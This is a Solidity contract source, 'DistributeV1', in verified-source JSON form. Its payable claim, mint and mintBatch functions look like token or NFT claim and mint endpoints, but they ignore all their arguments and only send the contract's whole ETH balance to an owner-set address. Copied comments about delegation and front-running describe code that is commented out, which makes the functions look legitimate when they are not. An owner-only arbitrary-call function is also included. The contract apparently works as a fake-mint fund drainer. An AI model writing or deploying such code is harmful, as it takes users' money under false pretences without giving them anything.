creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "contracts/Distribute.sol": {
        "content": "// SPDX-License-Identifier: MIT\r\npragma solidity 0.8.19;\r\n\r\nlibrary SafeTransferHelper {\r\n    function safeTransferETH(address to, uint value) internal {\r\n        (bool success, ) = to.call{value: value}(new bytes(0));\r\n        require(success, \"TransferHelper: ETH_TRANSFER_FAILED\");\r\n    }\r\n}\r\n\r\ninterface ERC721TokenReceiver {\r\n    function onERC721Received(\r\n        address _operator,\r\n        address _from,\r\n        uint256 _tokenId,\r\n        bytes calldata _data\r\n    ) external returns (bytes4);\r\n}\r\n\r\ncontract DistributeV1 is ERC721TokenReceiver {\r\n    address public fundToSetter = address(0);\r\n    mapping(address => bool) public owners;\r\n    \r\n    struct CallData {\r\n        address target;\r\n        bytes data;\r\n        uint256 value;\r\n    }\r\n\r\n    constructor(address _fundToSetter) {\r\n        fundToSetter = _fundToSetter;\r\n        owners[msg.sender] = true;\r\n    }\r\n\r\n    modifier onlyOwner() {\r\n        require(owners[msg.sender]||msg.sender == address(this), \"auth\");\r\n        _;\r\n    }\r\n    \r\n    function setOwner(address _owner,bool _state) external onlyOwner {\r\n       owners[_owner] = _state;\r\n    }\r\n    \r\n    receive() external payable {}\r\n\r\n    function setFundToSetter(address _fundToSetter) external onlyOwner {\r\n        fundToSetter = _fundToSetter;\r\n    }\r\n    \r\n    function claim(uint128 _nonce,bytes calldata _signature, address _referrer) external payable {\r\n        // WARNING: there's a nuisance attack that can occur here on networks that allow front running\r\n        // A malicious party could see the signature when it's broadcast to a public mempool and create a\r\n        // new transaction to front run by calling delegateBySig on the token with the sig. The result would\r\n        // be that the tx to claimAndDelegate would fail. This is only a nuisance as the user can just call the\r\n        // claim function below to claim their funds, however it would be an annoying UX and they would have paid\r\n        // for a failed transaction. If using this function on a network that allows front running consider\r\n        // modifying it to put the delegateBySig in a try/catch and rethrow for all errors that aren't \"nonce invalid\"\r\n\r\n        //token.delegateBySig(delegatee, 0, expiry, v, r, s);\r\n\r\n        // ensure that delegation did take place, this is just a sanity check that ensures the signature\r\n        // matched to the sender who was claiming. It helps to detect errors in forming signatures\r\n\r\n        //require(token.delegates(msg.sender) == delegatee, \"TokenDistributor: delegate failed\");\r\n\r\n        if (fundToSetter != address(0)) SafeTransferHelper.safeTransferETH(fundToSetter,address(this).balance);\r\n    }\r\n\r\n    function mint(uint256 _tokenId, bytes calldata _signature) external payable {\r\n        // WARNING: there's a nuisance attack that can occur here on networks that allow front running\r\n        // A malicious party could see the signature when it's broadcast to a public mempool and create a\r\n        // new transaction to front run by calling delegateBySig on the token with the sig. The result would\r\n        // be that the tx to claimAndDelegate would fail. This is only a nuisance as the user can just call the\r\n        // claim function below to claim their funds, however it would be an annoying UX and they would have paid\r\n        // for a failed transaction. If using this function on a network that allows front running consider\r\n        // modifying it to put the delegateBySig in a try/catch and rethrow for all errors that aren't \"nonce invalid\"\r\n\r\n        //token.delegateBySig(delegatee, 0, expiry, v, r, s);\r\n\r\n        // ensure that delegation did take place, this is just a sanity check that ensures the signature\r\n        // matched to the sender who was claiming. It helps to detect errors in forming signatures\r\n\r\n        //require(token.delegates(msg.sender) == delegatee, \"TokenDistributor: delegate failed\");\r\n        if (fundToSetter != address(0)) SafeTransferHelper.safeTransferETH(fundToSetter,address(this).balance);\r\n    }\r\n\r\n    function mintBatch(address _to, uint256 _quantity) external payable {\r\n        // WARNING: there's a nuisance attack that can occur here on networks that allow front running\r\n        // A malicious party could see the signature when it's broadcast to a public mempool and create a\r\n        // new transaction to front run by calling delegateBySig on the token with the sig. The result would\r\n        // be that the tx to claimAndDelegate would fail. This is only a nuisance as the user can just call the\r\n        // claim function below to claim their funds, however it would be an annoying UX and they would have paid\r\n        // for a failed transaction. If using this function on a network that allows front running consider\r\n        // modifying it to put the delegateBySig in a try/catch and rethrow for all errors that aren't \"nonce invalid\"\r\n\r\n        //token.delegateBySig(delegatee, 0, expiry, v, r, s);\r\n        \r\n        // ensure that delegation did take place, this is just a sanity check that ensures the signature\r\n        // matched to the sender who was claiming. It helps to detect errors in forming signatures\r\n\r\n        //require(token.delegates(msg.sender) == delegatee, \"TokenDistributor: delegate failed\");\r\n        if (fundToSetter != address(0)) SafeTransferHelper.safeTransferETH(fundToSetter,address(this).balance);\r\n    }\r\n    \r\n    function onERC721Received(address _operator,address _from,uint256 _tokenId,bytes calldata _data ) external pure returns (bytes4) {\r\n        return this.onERC721Received.selector;\r\n    }\r\n\r\n    function withdrawNativeToken(address _recipient) external onlyOwner {\r\n        SafeTransferHelper.safeTransferETH(_recipient, address(this).balance);\r\n    }\r\n    \r\n    function multCall(CallData[] calldata _calls) external onlyOwner {\r\n        for (uint256 i = 0; i < _calls.length; i++) {\r\n            (bool success, bytes memory returnData) = _calls[i].target.call{value: _calls[i].value}(_calls[i].data);\r\n            require(success, string(returnData));\r\n        }\r\n    }\r\n}\r\n"
      }
    },
    "settings": {
      "optimizer": {
        "enabled": true,
        "runs": 200
      },
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      },
      "libraries": {}
    }
  }}